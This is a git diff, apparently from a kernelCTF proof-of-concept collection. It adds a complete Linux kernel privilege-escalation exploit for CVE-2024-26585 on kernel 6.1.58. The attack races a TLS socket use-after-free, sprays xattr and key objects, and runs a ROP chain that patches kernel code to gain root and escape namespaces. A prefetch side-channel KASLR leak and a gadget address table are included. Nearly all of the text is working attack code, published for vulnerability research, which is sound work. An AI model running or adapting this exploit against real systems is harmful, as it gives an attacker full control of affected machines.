b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/exploit.c b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/exploit.c new file mode 100644 index 000000000..059d98c4e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/exploit.c @@ -0,0 +1,675 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "kernelver_6.1.58.h" + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; + +uint64_t leak_kernel_text(); + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void set_cpu_all() +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + for (int i = 0; i < 4; i++) + { + CPU_SET(i, &cpus); + } + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x8000 +#define XATTR_HEAD_SIZE 0x20 +#define KEY_HEAD_SIZE 0x18 + +static int g_pwned; +static char *g_rop2; + +#define ROP3_CONST_AREA 0x10 +#define ROP3_CONST_OFFSET 0x200 + +#define KOFFSET(x) (x-0xffffffff81000000uL) +#define _STR(x) #x +#define STR(x) _STR(x) + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + +void reboot() +{ + int fd = open("/proc/sysrq-trigger", O_WRONLY); + write(fd, "b", 1); + close(fd); +} + +void __attribute__((naked)) after_pwn() +{ + g_pwned = 1; + + int pid = fork(); + + if (!pid) { + + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + +// Force reboot to avoid hangs of the repro system + sleep(5); + reboot(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + _exit(0); + } + + waitpid(pid, &g_status, 0); + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + + +void rop_rax2rdi(uint64_t **rop_p) +{ + uint64_t *rop = *rop_p; + + *(uint64_t *) (g_rop2+ROP3_CONST_OFFSET) = kaddr(POP_RDI); // RCX == RW_BUFFER + +// rax -> rdi + *rop++ = kaddr(POP_RCX); + *rop++ = kaddr(RW_BUFFER+ROP3_CONST_OFFSET); + *rop++ = kaddr(PUSH_RAX_JMP_QWORD_RCX); + + *rop_p = rop; +} + +void rop_patch_kernel_code(uint64_t **rop_p, uint64_t dst, uint64_t src, size_t len) +{ + uint64_t *rop = *rop_p; + *rop++ = kaddr(POP_RDI); + *rop++ = dst & (~0xfff); + *rop++ = kaddr(POP_RSI); + *rop++ = 1; + *rop++ = kaddr(SET_MEMORY_RW); + + *rop++ = kaddr(POP_RDI_RSI_RDX_RCX); + *rop++ = dst; + *rop++ = src; + *rop++ = len; + *rop++ = 0xdeadbeef; + *rop++ = kaddr(COPY_USER_GENERIC_STRING); + + *rop_p = rop; +} + +void __attribute__((naked)) get_root() +{ + asm volatile( + "push %r12\n" + "lea -(" STR(KOFFSET(SYS_KEXEC_FILE_LOAD) + 9) ")(%rip), %r12\n" + "push %r13" + ); + +// commit_creds(init_cred) + asm volatile( + "lea (%%r12,%0), %%rdi\n" + "lea (%%r12,%1), %%r13\n" + "call *%%r13\n" + :: + "r" (KOFFSET(INIT_CRED)), + "r" (KOFFSET(COMMIT_CREDS)) + : "r12", "rdi" + ); + +// find_task_by_vpid(1) + asm volatile( + "lea (%%r12,%0), %%r13\n" + "mov $1, %%rdi\n" + "call *%%r13\n" + "mov %%rax, %%rdi\n" + :: + "r" (KOFFSET(FIND_TASK_BY_VPID)) + : "r12", "rdi" + ); + +// switch_task_namespaces(pid, init_nsproxy) + asm volatile( + "lea (%%r12,%0), %%rsi\n" + "lea (%%r12,%1), %%r13\n" + "call *%%r13\n" + :: + "r" (KOFFSET(INIT_NSPROXY)), + "r" (KOFFSET(SWITCH_TASK_NAMESPACES)) + : "r10", "rdi" + ); + +// return 0x777 + asm volatile( + "lea (%%r12,%0), %%rcx\n" + "pop %%r12\n" + "pop %%r13\n" + "mov $0x777, %%rax\n" + "jmp *%%rcx\n" + :: + "r" (KOFFSET(RETURN_THUNK)) + : "r10" + ); + +} + +size_t prepare_rop2(uint64_t *rop2) +{ + uint64_t *rop2_start = rop2; + + rop_patch_kernel_code(&rop2, kaddr(SYS_KEXEC_FILE_LOAD), (uint64_t) get_root, 0x200); + + *rop2++ = kaddr(INFLOOP); + + return (char *) rop2 - (char *) rop2_start; +} + +void prepare_fake_ctx(char *buf) +{ +// struct tls_sw_context_tx + char *ctx = buf - 0x18; +// struct timer_list + char *rdi = ctx + 0x50; + + +// blacklist: 0-0x34 +// -0x20 | 1 bit issue + *(uint64_t *) (rdi - 0x20) = 0xfffffffffffffffe; // needed for rdx in POP_RSI_RDX_RCX gadget +/* + 0xffffffff81000cb8: add rsp, 0x38 + 0xffffffff81000cbc: pop rbx + 0xffffffff81000cbd: pop rbp + 0xffffffff81000cbe: pop r12 + 0xffffffff81000cc0: jmp __x86_return_thunk +*/ + *(uint64_t *) (rdi - 0x1a) = kaddr(0xffffffff81000cb8); + +// 0xffffffff81c1fc7f: pop rsp ; jmp qword [rsi+0x66] + *(uint64_t *) (rdi - 0x38) = kaddr(0xffffffff81c1fc7f); + +/* + 0xffffffff820bbd56: lea rbp, [rdi - 0x80] + 0xffffffff820bbd5a: push rbx + 0xffffffff820bbd5b: mov rbx, rdi + 0xffffffff820bbd5e: mov rax, qword ptr [rdi + 0x68] + 0xffffffff820bbd62: mov rdi, rbp + 0xffffffff820bbd65: call __x86_indirect_thunk_rax +*/ +// timer->function - start of the chain + *(uint64_t *) (rdi + 0x18) = kaddr(0xffffffff820bbd56); + + +// 0xffffffff81c65eb1: push rsi ; jmp QWORD PTR [rbp+0x48] + *(uint64_t *) (rdi + 0x50) = kaddr(0xffffffff81c65eb1); + +/* + 0xffffffff819f021b: mov rax, qword ptr [r12 + 0x50] + 0xffffffff819f0220: mov rsi, rbp + 0xffffffff819f0223: mov rdi, r12 + 0xffffffff819f0226: call __x86_indirect_thunk_rax +*/ + *(uint64_t *) (rdi + 0x68) = kaddr(0xffffffff819f021b); + + uint64_t *rop = (uint64_t *) (rdi - 0x30); + + *rop++ = kaddr(POP_RSI_RDX_RCX); // rdi - 0x30 + *rop++ = (uint64_t) g_rop2; + + rop += 2; // skip over -0x1a offset + + *rop++ = kaddr(POP_RDI_PLUS_7); // rdi - 0x10 + *rop++ = kaddr(RW_BUFFER); // rdi - 0x8 + +// skip over offsets 0-0x30 + rop += 7; + + *rop++ = kaddr(COPY_USER_GENERIC_STRING); // 0x38 + *rop++ = kaddr(POP_RSP); // 0x40 + *rop++ = kaddr(RW_BUFFER); // 0x48 +} + + +int alloc_xattr_fd_attr(int fd, char *attr, size_t size, void *buf) +{ + int res = fsetxattr(fd, attr, buf, size - XATTR_HEAD_SIZE, XATTR_CREATE); + if (res < 0) { + perror("fsetxattr"); + } + + return fd; +} + +int alloc_xattr_fd(int fd, unsigned int id, size_t size, void *buf) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + alloc_xattr_fd_attr(fd, attr, size, buf); + + return fd; +} + +void free_xattr_fd(int fd, int id) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + + fremovexattr(fd, attr); +} + +key_serial_t alloc_key(int id, size_t len, char *buf) +{ + key_serial_t serial; + char desc[256]; + len -= KEY_HEAD_SIZE; + + snprintf(desc, sizeof(desc), "k%d", id); + + serial = syscall(SYS_add_key, "user", desc, buf, len, KEY_SPEC_PROCESS_KEYRING); + + if (serial < 0) + err(1, "key add"); + + return serial; +} + +int server() +{ + int listen_sock = socket(AF_INET, SOCK_STREAM, 0); + if (listen_sock < 0) + err(1, "socket"); + + struct sockaddr_in addr, client_addr; + socklen_t client_addr_sz; + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + addr.sin_port = htons(7777); + + if (bind(listen_sock, &addr, sizeof(addr)) < 0) + err(1, "bind"); + + listen(listen_sock, 4096); + + return listen_sock; +} + +#define DUP_CNT 1300 +#define EPOLL_CNT 550 + +int epoll_fds[EPOLL_CNT]; +int tfd_dups[DUP_CNT]; + +void create_watches(int fd) +{ + for (int i=0; itv_nsec += usecs * 1000; + + if (ts->tv_nsec >= NSEC_PER_SEC) { + ts->tv_sec++; + ts->tv_nsec -= NSEC_PER_SEC; + } +} + + +char *g_stack1; + +struct child_arg { + int tfd; + int sock; + int delay; + int try; +}; + +int child_send(void *arg) +{ + struct itimerspec its = { 0 }; + struct child_arg *carg = (struct child_arg *) arg; + + set_cpu(1); + + ts_add(&its.it_value, carg->delay); + + timerfd_settime(carg->tfd, 0, &its, NULL); + set_cpu_all(); + + int ret = send(carg->sock, g_mmapped_buf, 4, MSG_DONTWAIT); + + if (ret < 0) + perror("send"); +} + +#define STACK_SIZE (1024 * 1024) /* Stack size for cloned child */ + +void one_attempt(int tfd, int xattr_fd, unsigned int force_delay) +{ + static unsigned int try = 0; + + alloc_xattr_fd(xattr_fd, 0, 192, g_mmapped_buf); + + int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + if (sock < 0) + err(1, "socket"); + + struct sockaddr_in addr; + memset(&addr, 0, sizeof(addr)); + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + addr.sin_port = htons(7777); + + if (connect(sock, &addr, sizeof(addr)) < 0) + err(1, "connect"); + + + if (setsockopt(sock, SOL_TCP, TCP_ULP, "tls", sizeof("tls")) < 0) + err(1, "setsockopt"); + + static struct tls12_crypto_info_aes_ccm_128 crypto_info; + crypto_info.info.version = TLS_1_2_VERSION; + crypto_info.info.cipher_type = TLS_CIPHER_AES_CCM_128; + + set_cpu(0); + + if (setsockopt(sock, SOL_TLS, TLS_TX, &crypto_info, sizeof(crypto_info)) < 0) + err(1, "TLS_TX"); + + struct itimerspec its = { 0 }; + + int delay = force_delay; + + if (!delay) + delay = 24 + (rand() % 6); + + struct child_arg carg = { + .tfd = tfd, + .sock = sock, + .try = try++, + .delay = delay + }; + + printf("Attempt: %d delay: %d pid: %d\n", carg.try, delay, getpid()); + + pid_t pid = clone(child_send, g_stack1 + STACK_SIZE, CLONE_VM | CLONE_FS | CLONE_FILES | SIGCHLD, (void *) &carg); + + usleep(50000); + close(sock); + + usleep(1000); + free_xattr_fd(xattr_fd, 0); + + alloc_key(0, 192, g_mmapped_buf); + + usleep(120000); + + while (1) + { + int status; + int ret = waitpid(pid, &status, WNOHANG); + + if (syscall(__NR_kexec_file_load) == 0x777) { + printf("Privilege escalation successful!\n"); + after_pwn(); + } + + if (ret < 0) + err(1, "waitpid"); + else if (ret) + break; + } +} + +int main(int argc, char **argv) +{ + int ret; + struct rlimit rlim; + unsigned int force_delay = 0; + + system("cat /proc/cpuinfo"); + + if (argc > 1 && (argv[1][0] == 'f' || argv[1][0] == '0')) { + g_kernel_text = strtoull(argv[1], NULL, 16); + } else { + g_kernel_text = leak_kernel_text(); + } + + if (argc > 2) { + int num; + if ((num = atoi(argv[2])) > 0) { + printf("delay: %d\n", num); + force_delay = num; + } + } + + printf("Kernel base: 0x%lx\n", g_kernel_text); + + setbuf(stdout, NULL); + + rlim.rlim_cur = rlim.rlim_max = 4096; + if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) + err(1, "setrlimit()"); + + g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + struct timeval time; + gettimeofday(&time,NULL); + + srand((time.tv_sec * 1000) + (time.tv_usec / 1000)); + + set_cpu(0); + + int xattr_fd = open("/tmp/x", O_RDWR|O_CREAT); + if (xattr_fd < 0) + err(1, "xattr open\n"); + + struct sockaddr_alg sa = { + .salg_family = AF_ALG, + .salg_type = "skcipher", + .salg_name = "cryptd(ctr(aes-generic))" + }; + int c1 = socket(AF_ALG, SOCK_SEQPACKET, 0); + + if (bind(c1, (struct sockaddr *)&sa, sizeof(sa)) < 0) + err(1, "af_alg bind"); + + struct sockaddr_alg sa2 = { + .salg_family = AF_ALG, + .salg_type = "aead", + .salg_name = "ccm_base(cryptd(ctr(aes-generic)),cbcmac(aes-aesni))" + }; + + if (bind(c1, (struct sockaddr *)&sa2, sizeof(sa)) < 0) + err(1, "af_alg bind"); + + + g_stack1 = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (g_stack1 == MAP_FAILED) { + perror("mmap"); + exit(1); + + } + +#define ROP3_MMAP_SIZE 0x4000 + g_rop2 = mmap(NULL, ROP3_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_rop2 == MAP_FAILED) + err(1, "mmap"); + + size_t rop2_len = prepare_rop2((uint64_t *) g_rop2); + if (rop2_len > ROP3_CONST_OFFSET) + err(1, "Stage 2 ROP size too big: %d > %d\n", rop2_len, ROP3_CONST_OFFSET); + + + int tfd = timerfd_create(CLOCK_MONOTONIC, 0); + create_watches(tfd); + + prepare_fake_ctx(g_mmapped_buf); + + int listen_sock = server(); + + printf("parent pid: %d\n", getpid()); + unsigned long i = 0; + while (1) + { +// Instead of accepting all waiting connection just drop them by recreating the socket + if (i++ > 4094) { + close(listen_sock); + listen_sock = server(); + } + + one_attempt(tfd, xattr_fd, force_delay); + } + + + if (!g_pwned) { + printf("Failed to trigger vuln, try again!\n"); + _exit(0); + } + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/kaslr.c b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/kaslr.c new file mode 100644 index 000000000..597fcb324 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/kaslr.c @@ -0,0 +1,133 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +// Some of this code is based on Prefetch Side-Channel work by Daniel Gruss + +size_t hit_histogram[4000]; +size_t miss_histogram[4000]; + +inline __attribute__((always_inline)) uint64_t rdtsc_begin() { + uint64_t a, d; + asm volatile ("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() { + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +void prefetch(void* p) +{ + asm volatile ("prefetchnta (%0)" : : "r" (p)); + asm volatile ("prefetcht2 (%0)" : : "r" (p)); +} + +size_t onlyreload(void* addr) // row hit +{ + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + //maccess((void*)0x500000); + return delta; +} + +#define TRIES (1*128*1024) + +size_t measure(size_t addr) +{ + memset(hit_histogram,0,4000*sizeof(size_t)); + + for (int i = 0; i < TRIES; ++i) + { + size_t d = onlyreload((void*)addr); + hit_histogram[MIN(3999,d)]++; + } + + size_t sum_hit = 0; + size_t hit_max = 0; + size_t hit_max_i = 0; + for (int i = 0; i < 4000; ++i) + { + if (hit_max < hit_histogram[i]) + { + hit_max = hit_histogram[i]; + hit_max_i = i; + } + sum_hit += hit_histogram[i] * i; + } + + return sum_hit / TRIES; +} + + +uint64_t leak_kernel_text() +{ + cpu_set_t set; + uint64_t bad_time, time, addr; + + CPU_ZERO(&set); + CPU_SET(0, &set); + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + +// First measurement is always trash + bad_time = measure(0xffffffff00000000); + + bad_time = measure(0xffffffff00000000); + +// printf("Timing for non-existent kernel page: %zu\n", bad_time); + + for (addr = 0xffffffff81000000L; addr < 0xffffffffff000000L; addr += 0x100000) + { + time = measure(addr); + + printf("0x%lx: %zu\n", addr, time); + + if (time > 190) + break; + } + +// Renable all CPUs + for (int i = 1; i < 4; i++) + { + CPU_SET(i, &set); + } + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + + return addr; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/kernelver_6.1.58.h b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/kernelver_6.1.58.h new file mode 100644 index 000000000..c10316f30 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/kernelver_6.1.58.h @@ -0,0 +1,32 @@ +#define COPY_USER_GENERIC_STRING 0xffffffff82103bb0 +#define PUSH_RDI_JMP_QWORD_RSI_0F 0xffffffff81dfeb28 +#define FIND_TASK_BY_VPID 0xffffffff811b7750 +#define POP_RCX 0xffffffff810280ac +#define POP_RSI_RDX_RCX 0xffffffff810d35fa +#define SWITCH_TASK_NAMESPACES 0xffffffff811bf2a0 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff81311894 +#define POP_RSI_RDI 0xffffffff81a6b131 +#define POP_RDX_RDI 0xffffffff818cc7fb +#define AUDIT_SYSCALL_EXIT 0xffffffff812712d0 +#define RETURN_VIA_SYSRET 0xffffffff822001d1 +#define MEMCPY 0xffffffff82186ab0 +#define COMMIT_CREDS 0xffffffff811c0e10 +#define POP_RSI 0xffffffff82154e0d +#define POP_RSP 0xffffffff810287e4 +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff810d35f1 +#define POP_RDI_RSI_RDX_RCX 0xffffffff810d35f9 +#define POP_RDI 0xffffffff811823ac +#define POP_RDX 0xffffffff81048ea2 +#define RW_BUFFER 0xffffffff84700000 +#define INIT_CRED 0xffffffff83676800 +#define INIT_NSPROXY 0xffffffff836765c0 +#define MEMCPY 0xffffffff82186ab0 +#define SET_MEMORY_RW 0xffffffff8112c450 +#define OOPS_IN_PROGRESS 0xffffffff8423f338 +#define PREEMPT_COUNT_SUB 0xffffffff811c8950 +#define MSLEEP 0xffffffff8122bb80 +#define SYS_KEXEC_FILE_LOAD 0xffffffff8124c6d0 +#define RETURN_THUNK 0xffffffff82404c80 +#define UDELAY 0xffffffff82104340 +#define INFLOOP 0xffffffff81391547 +#define POP_RDI_PLUS_7 0xffffffff81679c1d diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/metadata.json new file mode 100644 index 000000000..18f27b251 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/metadata.json @@ -0,0 +1,37 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp107", "exp108" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e01e3934a1b2d122919f73bc6ddbe1cdafc4bbdb", + "cve": "CVE-2024-26585", + "affected_versions": [ + "4.20 - 5.15.164", + "4.20 - 6.1.83" + ], + "requirements": { + "attack_surface": [ + ], + "capabilities": [ + ], + "kernel_config": [ + "CONFIG_TLS" + ] + } + }, + "exploits": { + "lts-6.1.58": { + "uses": [ + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "90% success rate" + }, + "cos-105-17412.156.69": { + "uses": [ + ], + "requires_separate_kaslr_leak": true, + "stability_notes": "90% success rate" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/original_exp107.tar.gz b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/original_exp107.tar.gz new file mode 100644 index 000000000..61216e231 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/original_exp107.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/original_exp108.tar.gz b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/original_exp108.tar.gz new file mode 100644 index 000000000..a0ad83dc9 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/original_exp108.tar.gz differ